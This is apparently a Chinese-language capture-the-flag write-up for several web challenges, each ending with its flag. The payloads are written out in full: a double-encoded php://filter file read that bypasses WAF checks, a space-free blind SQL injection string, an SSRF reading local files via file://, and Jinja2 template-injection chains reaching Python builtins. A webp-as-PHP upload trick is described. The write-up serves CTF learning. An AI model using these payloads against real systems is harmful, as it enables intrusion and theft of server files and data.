ez-chain
根据源码分析,需绕过两层 WAF。第一层过滤未解码参数,可通过双重编码绕过。第二层判断读取内容是否包含 'f' 字符并进行 base64 解码,故使用 rot13 编码读取。
原始 payload:
php://filter/read=string.rot13/resource=/flag
双重编码后的 payload:
%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2572%2565%2561%2564%253d%2573%2574%2572%2569%256e%2567%252e%2572%256f%2574%2531%2533%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%252f%2566%256c%2561%2567
浏览器传入 payload:
file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2572%2565%2561%2564%253d%2573%2574%2572%2569%256e%2567%252e%2572%256f%2574%2531%2533%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%252f%2566%256c%2561%2567
Flag: flag{2d6baf66-878b-4f14-952e-86fca723f7d5}
白帽小 K 的故事(2)
启动访问题目,为一个查询接口。测试发现空格被过滤。根据提示可知为字符盲注。使用二分法脚本爆破数据库、表、字段及数据,空格使用 () 绕过。
基本 payload:
payload = "amiya'^(ascii(substr((select(group_concat(flag))from(Flag.flag)),%d,1))<%d)^1#" % (i,mid)
Flag: flag{4bff70f3-f336-489b-a4d5-d23d4e410f3b}
mygo!!!
访问查看源码,发现 flag.php。构造 file 协议读取 flag。
Payload:
http://target/?proxy=http://localhost/flag.php?soyorin=file:////flag
Flag: flag{2dce6900-7056-494a-8bef-4fe13729ab65}
小 E 的秘密计划
扫描发现网站备份文件 www.zip。提取源码发现目录结构及登录页面。在 Git 历史中提取用户名和密码登录。登录后提示 Mac 代码,查找 .DS_Store 文件获取 flag 路径。
访问 .DS_Store 文件下载后解析,得知 flag 路径为 ffffllllaaaagggg114514。
Flag: flag{10d8488e-ca8a-4f27-a1dd-afa8cbed3121}
mirror_gate
扫描 uploads 目录发现 .htaccess 配置将 webp 当作 php 解析。常规文件上传漏洞。上传 webp 文件,内容为包含 flag 文件的 PHP 代码。因 包含。
Flag: flag{376e54c4-6dce-49aa-ae2f-67c14122bdf7}
who'ssti
下载附件查看代码,随机选择五个函数要求触发调用。常规 SSTI 利用。发送 payload 触发对应函数获取 flag。
Payload:
{{config}} {{ config.__class__.__init__.__globals__.__builtins__.__import__('random').randint(1, 100) }} {{ config.__class__.__init__.__globals__.__builtins__.__import__('textwrap').dedent(' test\n ') }} {{ config.__class__.__init__.__globals__.__builtins__.__import__('difflib').get_close_matches('test', ['test', 'testing']) }} {{ config.__class__.__init__.__globals__.__builtins__.__import__('statistics').fmean([1, 2, 3, 4, 5]) }} {{ config.__class__.__init__.__globals__['__builtins__'].__import__('random').choice(['a','b','c']) }} {{ config.__class__.__init__.__globals__['__builtins__'].__import__('statistics').mean([1,2,3,4,5]) }} {{ lipsum.__globals__.os.listdir('.') }} {{ config.__class__.__init__.__globals__['__builtins__'].__import__('re').search('test', 'test string') }} {{ config.__class__.__init__.__globals__['__builtins__'].__import__('re').findall('t', 'test') }} {{ config.__class__.__init__.__globals__['__builtins__'].__import__('pickle').loads.__name__ }} {{ config.__class__.__init__.__globals__['__builtins__'].__import__('numpy').sum([1,2,3,4,5]) }}


